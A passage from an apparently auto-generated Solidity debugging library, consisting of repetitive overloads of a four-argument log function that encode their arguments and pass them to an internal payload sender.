_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address 